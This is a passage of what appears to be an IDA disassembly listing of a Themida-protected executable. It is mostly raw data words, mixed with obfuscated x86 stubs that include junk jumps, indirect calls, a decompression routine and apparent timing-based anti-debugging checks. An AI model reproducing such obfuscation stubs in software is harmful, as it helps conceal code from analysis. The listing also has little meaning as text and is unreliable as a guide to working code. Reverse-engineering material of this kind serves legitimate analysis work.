14E9h dd 0B0947500h, 84343E0Ah, 616B3E2Bh, 2FDF8948h, 65F6C299h dd 0E900005Fh, 5, 0B46B4319h, 8D8B60C2h, 5E72A81h, 1A618501h dd 606105E7h, 2C09B589h, 0BD0905E7h, 5E71C61h, 8BFCC02Bh dd 0E9282454h, 10h, 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh dd 22198589h, 858905E7h, 5E72F2Dh, 2870F60h, 60000000h dd 0EE95761h, 19000000h, 0ED0F271Ah, 9D5BB442h, 10D8237h dd 0BE61593Dh, 3Ch, 247403FCh, 0B1850924h, 8905E721h, 0E70839BDh dd 60AD6605h, 28A0Fh, 61600000h, 21958D8Bh, 36105E7h, 31242444h dd 0E72C9995h, 52509005h, 10E9h, 2013E500h, 9BF674Bh, 3B1DCE5Ah dd 8C03D348h, 60310F45h, 1163BB66h, 0A12615BEh, 585A6177h dd 8820F50h, 0F000000h, 288h, 90616000h, 6880Fh, 95010000h dd 5E7207Dh, 6078408Bh, 2BE98D89h, 8B6605E7h, 440361D9h dd 0F8602824h, 1ED958Bh, 8B6105E7h, 95891840h, 5E72B3Dh dd 8870Fh, 8D0F0000h, 2, 0F406160h, 18Dh, 8531F800h, 5E72459h dd 38EF8589h, 7E905E7h, 0D5000000h, 925A457Eh, 89586F2Ch dd 0E700F5BDh, 78708B05h, 7698529h, 0C68305E7h, 0DD9D311Ch dd 305E722h, 60242474h, 0F9FE380h, 28Dh, 61616000h, 0C45BD8Dh dd 958905E7h, 5E705D5h, 816660ADh, 6693D5D3h, 361D98Bh dd 0E9242444h, 7, 0DA8BED8Eh, 0AB11ABD7h, 0BD29F860h, 5E72085h dd 5BD8D61h, 0F05E729h, 185h, 0F8ADF900h, 27E18D31h, 440305E7h dd 8E0F2424h, 18h, 13E9h, 0F73CC400h, 0E205EEE1h, 0AA50911Eh dd 0B05E9A11h, 18B6E4D4h, 50525050h, 0AE952h, 3BA10000h dd 6DFECFBCh, 0B116C14Ah, 6160310Fh, 310F585Ah, 2810Fh dd 61600000h, 489585Ah, 25950124h, 0AB05E71Dh, 0BD8DF9F9h dd 5E71961h, 810FADF8h, 6, 17299D89h, 440305E7h, 0ABFC2824h dd 6810Fh, 85010000h, 5E716F5h, 0C870Fh, 800F0000h, 6 dd 1851BD89h, 605E05E7h, 27EB8166h, 0B58D0967h, 6105E709h dd 38EF8DFFh, 0BD8305E7h, 5E738EFh, 0C7107500h, 1C2444h dd 8D000000h, 0E73DB2B5h, 56E6FF05h, 244403ADh, 0DF8B9728h dd 32A5858Ah, 0C08405E7h, 73A0474h, 32574C75h, 0FD75AEC0h dd 52FB2B5Eh, 49C933FCh, 0C033D18Bh, 32ACDB33h, 8ACD8AC1h dd 0B6D68AEAh, 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h dd 0CEFE5449h, 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h dd 8B6610C0h, 0D03B5AC1h, 835E0F74h, 85FF04C6h, 5E72219h dd 0FFFF6FE9h, 8D0F5EFFh, 1, 0F98509FCh, 8B05E71Bh, 0E7221985h dd 12E905h, 55BA0000h, 0D3FCE655h, 41F79C57h, 0FAB024E8h dd 0E4F05D12h, 3F8E0D1h, 0E7196185h, 3D858905h, 105E705h dd 0E7033595h, 0F8F62B05h, 81850196h, 6605E719h, 899D29ADh dd 0C105E724h, 3F502E0h, 0E70C4585h, 0CE905h, 6EDC0000h dd 0A35999A4h, 4CBEE58Ch, 0B460698Fh, 0C78B66FBh, 9E99661h dd 0B3000000h, 0B86F49F3h, 0E31C44C0h, 9D8B60ADh, 5E71765h dd 0CE9h, 5D15B500h, 259A8EA9h, 0DE33AF62h, 4C8B613Dh dd 3FC2424h, 0F242444h, 0C82h, 6880F00h, 1000000h, 0E7045DB5h dd 24448905h, 958B601Ch, 5E720F1h, 2481858Bh, 296105E7h dd 0E72521B5h, 11E99605h, 66000000h, 999A8A77h, 1AAF7307h dd 8A19D9DDh, 239DAF6Ch, 0D18D89ACh, 3205E708h, 0F60F9C9h dd 680h, 55958900h, 0F05E70Ah, 0FE61C6BFh, 0FE9C1h, 4BB90000h dd 1DA68D4Eh, 0F8B7BCC3h, 91ECE253h, 0FD0D096h, 0B283h dd 5E900h, 5C440000h, 0D0F72B8Bh, 0A0830FD0h, 0E9000000h dd 6, 34E7A33Ah, 0D0D0D25Fh, 8D820Fh, 60600000h, 12E8h dd 3F752000h, 0F2B6AE79h, 0F4E05C2Bh, 3A6DBD8h, 58A26631h dd 13E961F9h, 17000000h, 0A5AC8F69h, 0CD9FE6F6h, 28705306h dd 32749303h, 0D0611A1Bh, 50820FD0h, 0E9000000h, 0Ch, 88C7FBBCh dd 0C42209D7h, 0D211D220h, 890FC9FEh, 0FFFFFF7Dh, 161D8531h dd 0C48305E7h, 44C7F520h, 0FC24h, 8B600000h, 0E718619Dh dd 61F18B05h, 1B8FCh, 0B5890000h, 5E70C7Dh, 72CA8D8Dh dd 0FFF905E7h, 35BD01E1h, 0C605E718h, 0E732A585h, 95290005h dd 5E72A69h, 8E0F6061h, 6, 1665BD89h, 0C26105E7h, 800F0008h dd 0Ch, 6800Fh, 8D890000h, 5E70BC1h, 13870F50h, 0F000000h dd 0D8Ch, 8E900h, 93690000h, 0FB1F3BBAh, 3489BE18h, 15810F24h dd 0E9000000h, 10h, 977028C7h, 0C63E0C98h, 26C0CA44h, 0D114FE64h dd 3FA2B589h, 850905E7h, 5E70095h, 3FB38D89h, 7E905E7h dd 79000000h, 926B91DBh, 0B58D5C53h, 5E73E82h, 0FE9h, 658BE600h dd 14EA64D2h, 619B11ADh, 0E9F40F58h, 6820Fh, 9D890000h dd 5E71161h, 7E35858Dh, 0FFFC005Bh, 0E95EFCD0h, 6, 0B168CD21h dd 89C3BC0Eh, 0E71B2595h, 21B58905h, 8B05E724h, 0E73FA2B5h dd 699D8905h, 8B05E716h, 0E73FB38Dh, 81B52905h, 2B05E71Dh dd 79B531C0h, 8B05E725h, 8D89F9D9h, 5E71289h, 0C6E9h, 0A1853100h dd 6005E717h, 8F0Fh, 0BD290000h, 5E71161h, 29263261h, 0E701F985h dd 3102B205h, 0E7143595h, 0C9B52905h, 0E905E706h, 50h dd 0E9C232F9h, 9, 29198615h, 994E9F11h, 1D7A05D3h, 8AF88A75h dd 0C8D3F5CCh, 15860Fh, 10E90000h, 0B7000000h, 383F2EE1h dd 0D0DBB27Eh, 2BEF9BE7h, 353D4E3Bh, 98D10842h, 20B9B589h dd 950905E7h, 5E71D19h, 8531CAFEh, 5E7281Dh, 850FD20Ah dd 0FFFFFFA9h, 7E860h, 0ED520000h, 10BEE167h, 0C6B70F76h dd 185895Fh, 6105E70Ch, 11E94Bh, 770000h, 0BDA6AD13h, 0F73E9F81h dd 0A7B85C23h, 46CE4F2Ah, 9D2960F9h, 5E701A9h, 18118D89h dd 0B6105E7h, 46850FDBh, 0E9FFFFFFh, 9, 0A1129692h, 6236DF1Ah dd 10E9CFE2h, 17000000h, 56912C5Ch, 0C2AAE3E8h, 791D5429h dd 5805BCh, 698D8900h, 5E712h, 0E99D0900h, 0FC05E72Ch dd 9D010000h, 5E71A81h, 0BD890000h, 5E7154Dh ; --------------------------------------------------------------------------- loc_542B68: ; CODE XREF: sub_5423D7:loc_542481j lea eax, [ebp+5E7392Ah] js loc_542B8B jmp loc_542B8B ; --------------------------------------------------------------------------- db 56h, 5Ch, 0BDh dd 6559830Fh, 456C588h, 729CA443h db 0FAh, 5Ch, 61h ; --------------------------------------------------------------------------- loc_542B8B: ; CODE XREF: sub_5423D7+797j ; sub_5423D7+79Dj mov [ebp+5E716C1h], eax mov [ebp+5E721B1h], ebx clc lea eax, [ebp+5E73DE3h] jnz loc_542BA5 stc loc_542BA5: ; CODE XREF: sub_5423D7+7C7j mov [ebp+5E7230Dh], eax jmp short loc_542BC1 ; --------------------------------------------------------------------------- align 10h dd 3 dup(0) dd 8B00h db 0 ; --------------------------------------------------------------------------- loc_542BC1: ; CODE XREF: sub_5423D7+7D4j lea eax, [ebp+5E740DCh] mov [ebp+5E72051h], eax cmp dword ptr [ebp+5E74014h], 0 jz loc_542D0E mov byte ptr [ebp+5E732A5h], 56h push 63106990h add dword ptr [esp+0], 710F03A9h push dword ptr [ebp+5E70899h] lea eax, [ebp+5E7392Ah] call eax mov [ebp+5E74008h], eax mov byte ptr [ebp+5E732A5h], 56h call near ptr loc_542C0E+3 push edx loc_542C0E: ; CODE XREF: sub_5423D7+831p mov eax, 8B509CA8h sub_5423D7 endp ; sp-analysis failed inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+5E70899h] lea eax, [ebp+5E7392Ah] call eax mov [ebp+5E7400Ch], eax push 4 call sub_542C3C add [eax], dl ; --------------------------------------------------------------------------- dw 0 ; =============== S U B R O U T I N E ======================================= sub_542C3C proc near ; CODE XREF: Themida_:00542C33p var_C6 = dword ptr -0C6h var_C2 = dword ptr -0C2h var_BE = dword ptr -0BEh var_BA = dword ptr -0BAh var_B6 = dword ptr -0B6h var_B2 = dword ptr -0B2h var_AE = dword ptr -0AEh var_AA = dword ptr -0AAh var_A6 = dword ptr -0A6h var_A2 = dword ptr -0A2h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_E = dword ptr 12h push eax mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax mov eax, [ebp+5E74018h] add eax, 1F4h shl eax, 2 nop push eax nop push 0 call dword ptr [ebp+5E7400Ch] mov [ebp+5E74010h], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+5E72051h] mov eax, ebx call dword ptr [ebp+5E72051h] jmp loc_542D0E ; --------------------------------------------------------------------------- db 83h, 0BDh, 14h dd 5E740h, 1850Fh, 57C30000h, 4010BD8Bh, 83AB05E7h, 0E7401085h dd 0C35F0405h, 4014BD83h, 0F0005E7h, 185h, 8360C300h, 0E74010ADh dd 9D8B0405h, 5E74010h, 0FFFC7B83h, 26850Fh, 4E80000h dd 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 0E7400895h, 0E9C36105h, 1Dh, 0B528468h, 24348151h, 510BD284h dd 33FF006Ah, 400895FFh, 0AD8305E7h, 5E74010h, 0FFA8E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542D0E: ; CODE XREF: sub_5423D7+7FDj ; sub_542C3C+40j dec eax jmp loc_542EC1 ; --------------------------------------------------------------------------- dd 24748B60h, 247C8B24h, 80B2FC28h, 8846068Ah, 2BB4707h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0FFE2830Fh dd 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h, 6A83h, 2C03300h dd 5850FD2h, 8A000000h, 0D2124616h, 12A830Fh, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h dd 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h dd 8A000000h, 0D2124616h, 840FC013h, 6, 8AF82B57h, 7885F07h dd 2BB47h, 70E90000h, 0B8FFFFFFh, 1, 850FD202h, 5, 1246168Ah dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh dd 0C32BFFFFh, 1BBh, 34850F00h, 0B9000000h, 1, 850FD202h dd 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h, 0D2124616h dd 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h, 8E95EA4h, 48FFFFFFh dd 8A08E0C1h, 0E88B4606h, 1B9h, 0FD20200h, 585h, 46168A00h dd 0C913D212h, 850FD202h, 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh dd 7D00h, 22830Fh, 3D0000h, 0F000005h, 0E82h, 8B564100h dd 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh, 870F7FF8h, 3, 5602C183h dd 0F02BF78Bh, 0E95EA4F3h, 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h dd 17840Fh, 0D1830000h, 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h dd 1, 0FFFE76E9h, 247C2BFFh, 247C8928h, 8C2611Ch db 0 ; --------------------------------------------------------------------------- loc_542EC1: ; CODE XREF: sub_542C3C+D3j mov edx, 929h jmp loc_54389E ; --------------------------------------------------------------------------- db 2Fh dd 6467274Fh, 27E77562h, 8CE8E245h, 9CDC8A93h, 0CFB1DA1Ah dd 50089491h, 0B6F52F7Bh, 72511E8Fh, 6F6A2769h, 35EF7920h dd 9DBBB052h, 93998D81h, 0BFD2B551h, 4D1C9E9Bh, 0B6A7237Ah dd 7D571C8Fh, 756A276Ah, 2FF26620h, 81A5B04Dh, 878E969Fh dd 8BB1DE5Fh, 4D1889D7h, 0B7F56E6Bh, 695709C1h, 7373277Ch dd 21F2676Fh, 0BE4Dh, 62h dup(0) dd 2F000000h, 6E6E274Fh, 2FF4696Eh, 96B8B052h, 9F8E9E9Dh dd 8EB79F12h, 5B1FDB84h, 0A5A7617Ah, 7856058Eh, 6F76752Eh dd 27EE696Eh, 0C4A6F900h, 8C89968Bh, 9CA6CC5Fh, 10109E83h dd 0AFD70215h, 794B1184h, 6F762722h, 24E16F6Ch, 0C4BCF900h dd 93938B94h, 82BAD25Fh, 1E048998h, 0E3E3617Eh, 684B1593h dd 2177756Fh, 32F56F79h, 8BBAE000h, 939D8B95h, 51h, 47h dup(0) dd 2F000000h, 7360274Fh, 25EB6361h, 0C4BBB752h, 92939686h dd 9CBED75Fh, 5B1899D7h, 0ACE12F71h, 3C5C1E94h, 6F6D727Ch dd 60E76E69h, 9DE8FE49h, 0DE8E8C9Dh, 9BACC60Ch, 34539692h dd 0A6EB5F12h, 305D0380h, 6D6D722Eh, 60E4616Fh, 82E8E449h dd 0DE919680h, 80B2DA12h, 5F5D8285h, 0B1A76B71h, 7D4C0384h dd 7823737Ch, 60F2756Fh, 83A7E250h, 0D0919880h, 61h dup(0) dd 2F000000h, 646F6E48h, 32EF6320h, 90B8E552h, 0D0DD9D97h dd 86B7EB5Fh, 4C0DDB84h, 0A2F56870h, 7D50508Ch, 6461277Dh dd 2DA06E65h, 94A1FE41h, 8A9D9587h, 8EFFDB1Ah, 535D9F99h dd 0A6E5767Eh, 68517DEBh, 68237429h, 23E5666Eh, 0C4ACF554h dd 9FDC8090h, 9DB6E95Fh, 515D8882h, 0B1E42F6Dh, 79531380h dd 5523296Ah, 60F36968h, 81A4F946h, 90938ED2h, 98FFCB58h dd 1E168998h, 0AEFE617Eh, 325D028Eh, 0E0h dup(0) dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0) dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_54389E: ; CODE XREF: sub_542C3C+28Aj jmp loc_54694C ; --------------------------------------------------------------------------- db 6Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0B478C352h, 89E55DB9h, 0E70341BDh, 0D68BFC05h dd 8166C08Bh, 83C685EAh, 0E70C81BDh, 9750005h, 2819BD83h dd 740005E7h, 8B535013h, 1B8C0h, 9D8D0000h, 5E9B335h, 585BD3FFh dd 2819BD83h, 740005E7h, 0B8535011h, 1, 0B1E69D8Dh, 0D3FF05E9h dd 0CE8585Bh, 76000000h, 10104802h, 0D6A00688h, 0E9365F38h dd 7, 0DB44DDE7h, 5B83AF72h, 2EE19D03h, 0C08B05E7h, 221B529h dd 0BD8305E7h, 5E711A1h, 0BC840F00h, 0E8000001h, 6, 0AF3477C0h dd 5AFC9095h, 1BFDBD83h, 0F0005E7h, 1A284h, 0D59D8900h dd 6005E712h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0C2C35545h, 86741EBBh, 0FD858B66h, 6005E71Bh, 11898589h dd 816605E7h, 61A6ABDAh, 3E805h, 8A0F6000h, 6, 2018D89h dd 8D8905E7h, 5E71679h, 52505061h, 0BB66310Fh, 585ABC86h dd 8B240489h, 0E0858DD7h, 105E74Ch, 0E717E185h, 0B5858905h dd 5005E707h, 1B75250h, 5250310Fh, 11E8h, 0C4271900h, 41A37C97h dd 22778E1Ch, 0B5E42932h, 0F5B9534h, 0D08B6631h, 585A585Ah dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 3C0FC355h, 51D5F790h, 17C1134h dd 0E72445BDh, 0C2C28005h, 4CBE858Dh, 870F05E7h, 6, 28F59D23h dd 505005E7h, 0B1BA6652h, 0E8310F69h, 11h, 0CE9F9127h dd 0D3F14C48h, 1FCCE47Ah, 676AFE42h, 5AD38BA4h, 489585Ah dd 0C1BD8924h, 0FF05E72Bh, 0E709BD95h, 5AB35105h, 0CC4835Bh dd 0A91BE60h, 0B5011811h, 5E71C69h, 0BE858D61h, 8B05E74Ch dd 0E718759Dh, 52505005h, 7DD1BB51h, 0F5B6C68h, 0AE931h dd 0AA700000h, 6461EF31h, 630233B3h, 489585Ah, 0C890F24h dd 0F000000h, 685h, 59952B00h, 6A05E716h, 59950902h, 0FF05E717h dd 68857495h, 8DB52900h, 6105E731h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0DAC35141h, 2393401Fh, 0C8DA8118h dd 0C72DAAA2h, 0E74CF185h, 105h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 7EDF5284h dd 958BCE2Fh, 5E7237Dh, 9E85350h, 0B8000000h, 726BB16Fh dd 727FF99Fh, 5A5AD68Bh, 0E9243489h, 11h, 0D0C6C249h, 0FC2B52F8h dd 19F62EA6h, 10D608B9h, 0D381669Eh, 0B58942EAh, 5E74CA2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F6C35747h dd 22CB8056h, 8DBD835Ah, 105E72Bh, 4D850Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 858904C3h, 5E727F1h, 6A99531h, 23BA05E7h, 833F95C9h dd 850F05F8h, 17h, 1441958Bh, 958B05E7h, 5E71365h, 0B8h dd 1D958900h, 8305E717h, 0E732C9BDh, 840F0005h, 2Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1CC35141h, 9AF01375h dd 0AD8DDFF7h, 0B8DFBF0Fh, 0 dd 958B60F9h, 5E72195h, 1185858Bh, 6A05E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 742650C3h dd 0FCED3927h, 833DB380h, 6A02C0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0AE1BE6C3h, 67D93380h dd 0B529FA8Ah, 5E7093Dh, 4C9A8589h, 8B6605E7h, 0FF00C6DEh dd 4C0DA81h, 85C62FC5h, 5E732A5h, 518D8953h, 6805E71Bh dd 0EC0EB983h, 81DE8B66h, 0F15B2434h, 6A10BFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0E105B7C3h, 0FF099EECh, 0E72B05B5h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 879AE082h, 3860F28h, 80000000h, 858DC6C6h, 5EA7DA1h dd 70CA8166h, 8BD0FF46h, 0E7297D9Dh, 0C1858905h, 6A05E721h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0A8A8C352h, 0CF959CFDh, 0BD891A31h, 5E725E9h dd 24E9BD83h, 0F0105E7h, 12985h, 5D858900h, 0F05E729h dd 0E961D0BFh, 10h, 0A8F78D59h, 1FA71312h, 4377E5B7h, 98D8EB29h dd 32A585C6h, 0F4505E7h, 1A85h, 148D0F00h, 0E9000000h dd 0Fh, 5A5CE57Ah, 24311123h, 30D3876Bh, 686C9481h, 95F9CD5Fh dd 10E9h, 5E7F3500h, 0DED69E83h, 0D893476Ah, 0CE838EB0h dd 240481A4h, 44666B63h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0CEC35747h, 66FB5152h, 604CEA81h, 2B05B5FFh dd 950305E7h, 5E7200Dh, 7DA1858Dh, 958B05EAh, 5E7159Dh dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B70FC5C3h, 85BD31D1h, 6A05E718h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8B607242h, 0E7137D8Dh, 518D8B05h, 6105E71Ch, 0CE8h dd 0BE31AB00h, 53547760h, 99E45DDEh, 5AD38A19h, 14E8D0FFh dd 9B000000h, 4D3B4037h, 32C8EB39h, 28EF0207h, 0F1BB55E8h dd 8BB933E0h, 0BD835BD1h, 5E70A25h, 0BD850F01h, 0E8000000h dd 0Ah, 663D4764h, 5491966h, 5AFC3743h, 1185858Bh, 9D8B05E7h dd 5E7089Dh, 81E9h, 5250F900h, 0AE9h, 74EFDE00h, 0F629A4FEh dd 5A6BC3B2h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0EC74C355h, 6A75FDC3h dd 930976ACh, 146AA8B3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0B8C35343h, 0EE9h, 0D1984200h, 2E05A293h dd 0A109449Bh, 81B052E7h, 4DC062C2h, 0C195FF1Eh, 6605E721h dd 589030BBh, 3880D38Bh, 77850F00h, 81FFFFFFh, 140C18D3h dd 0C610B632h, 9D890100h, 5E71665h, 0D6BF0F61h, 0F9BD83h dd 0F0005E7h, 5084h, 22BA6600h, 919D03ECh, 6A05E718h, 19DA80FFh dd 21C195FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 3E2CB3C3h, 0B48FE166h, 0BE976h dd 5AA20000h, 3E019C29h, 949F77E1h, 0FFBDE9D2h, 8B66FFFFh dd 0F985C7D3h, 105E700h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4420C352h dd 43B89FCh, 0E8A83E16h, 0Ah, 13E63261h, 0D449963Bh, 0BA6606CFh dd 0E95A2AA8h, 0Ah, 0C90BC1D9h, 41F8B500h, 8589A26Bh, 5E74CA6h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B5C35747h dd 87F732D8h, 816681FFh, 89029DDBh, 0E71A159Dh, 11E89005h dd 83000000h, 81DBC9D4h, 903FE0Dh, 0D2A678E6h, 378EDC67h dd 0D49ABB66h, 0B8BA505Bh, 90459AD2h, 2C55958Bh, 6A6005E7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 27EEC350h, 0DB4E7183h, 830FDD8Ch, 8, 2850Fh dd 0CB70000h, 6A056Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 3C6772C3h, 1AF5B288h, 0E90FC6CBh dd 12h, 0B796B140h, 711681A2h, 0BBB6990Bh, 743B1958h, 858D1F7Ah dd 5E74CBEh, 19F5950Bh, 0B39005E7h, 5250507Ah, 5250310Fh dd 0DF8125BAh, 66310F26h, 5A0119BAh, 90585A58h, 6800FF9h dd 2B000000h, 0E717E59Dh, 0AE858D05h, 6A05E74Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 6674C357h, 20B3EB81h, 1468BB90h, 60506A52h, 8F0Fh, 0EE8A0000h dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0FD2AEC3h, 583h, 0D3816600h, 95FFA8EEh, 5E72C31h dd 12CFC381h, 8D8D1060h, 5E77D20h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0EC35343h, 30D41C87h, 8589DD18h dd 5E72D75h, 0C00BD68Bh, 858D1174h, 5E74CBEh, 89D1FF50h dd 0E74CDC85h, 0C70AEB05h, 0E74CDC85h, 0FFFFFF05h, 0AE953FFh dd 0DF000000h, 0F5BE6C8Bh, 4B37DCBEh, 0B5895A9Ch, 5E7137Dh dd 10E961h, 0FB1F0000h, 6B09BE18h, 0CF9E3AAAh, 0AD4039A0h dd 85C61085h, 5E732A5h, 0D4BB664Dh, 4E8CCh, 76A80000h dd 0BB66A435h, 8B50F307h, 0F042444h, 0E8Eh, 9E900h, 773C0000h dd 88A07890h, 8B501536h, 0E9525000h, 8, 1CD3F37Dh, 87CAE560h dd 8A52310Fh, 585A5AF9h, 4244489h, 7F19BA66h, 0FFD18B58h dd 0E73299B5h, 89575605h, 0E71B519Dh, 8D5A5B05h, 0EA7DA185h dd 9E905h, 0BC250000h, 12D16931h, 0FFC3E662h, 57006AD0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 9E744FB0h, 788CA801h, 0B59BD89h, 858905E7h, 5E708D9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 59C35343h dd 2869C60Dh, 38B0F52h, 80000000h, 85C62BE2h, 5E732A5h dd 68D88B45h, 7010030Fh, 0D68B5250h, 585A310Fh, 5A240481h dd 0E91E6266h, 0Fh, 67FB1CBCh, 99FA312Fh, 182C75A7h, 0FF8E5C59h dd 0E72B05B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 873A0D05h, 0C0D31788h dd 9D8BC789h, 5E72759h, 72CB8166h, 0A1858D05h, 6A05EA7Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 60B7C351h, 90D4BA66h, 0FE9h, 0E9615A00h dd 2A7C5033h, 77C816B6h, 0FC51EDACh, 11E961h, 0C9E80000h dd 55832B97h, 938C11E4h, 0B21D4FCFh, 0FFFB2DB8h, 0FD9D8BD0h dd 8905E707h, 0E7170185h, 9E905h, 4DBE0000h, 1C6643FEh dd 81B52985h, 18D773EAh, 6AD28B23h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3F71C352h dd 0E9EBEA85h, 14h, 70D53475h, 0E6D4FABAh, 0CFA7831Dh dd 3F3CCCB3h, 7E56FFA6h, 0FD98C66h, 0C1F6D0BFh, 7D840F04h dd 0E9000002h, 0Ah, 4253D8FCh, 0FEE3DC2Ah, 0F1BA3119h dd 0E9505893h, 144h, 0CE9h, 0B0133500h, 61CC6673h, 0F239826Bh dd 11B58B64h, 0B705E71Bh, 80C6811Fh, 6A000011h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 47B2C351h, 93CCB86Bh, 0DB5290Fh, 6605E704h dd 6DFBE281h, 183DBD83h, 0F0005E7h, 3B85h, 57006A00h, 3E8h dword_544450 dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h ; DATA XREF: ___:off_43CCF4o dd 9AEA8A67h, 2DB6B379h, 9E9F9h, 440000h, 0A70EEAA6h, 0E9BD9910h dd 0A0h, 72F0BB66h, 0F003E83h, 9384h, 0DEBB6600h, 6A6024h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 4A8804C3h, 0D18B661Eh, 0DE8146Ah, 0A7000000h, 0F6B21B0Ah dd 0BC3BA195h, 4A6DFECFh, 5BD9B70Fh, 21C195FFh, 6A05E7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0B3DDE4C3h, 66EE305Ah, 8B606111h, 0E72F61BDh, 12E96105h dd 0F2000000h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh, 7DF7488Fh dd 0FF6AE94Fh, 0BD29FFFFh, 5E7229Dh, 106C7h, 9E90000h dd 4C000000h, 0FCB1867Dh, 7D5A5EE4h, 4CA6BD83h, 0F0505E7h dd 11385h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 55B151C8h, 7E99Ah, 95930000h, 402654DCh dd 0EDBD2910h, 8B05E732h, 0E71701B5h, 0EDBD8905h, 0B905E722h dd 64h, 0D880BA66h, 0FE83E80h, 2F84h, 0C59D3100h, 8905E71Bh dd 0E72F0985h, 82E905h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0B6EDFBC3h, 0C2057E80h dd 7C840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0B40530C3h, 0E949ED74h, 12h, 7F9AE827h dd 559D016Dh, 0D4BA621Eh, 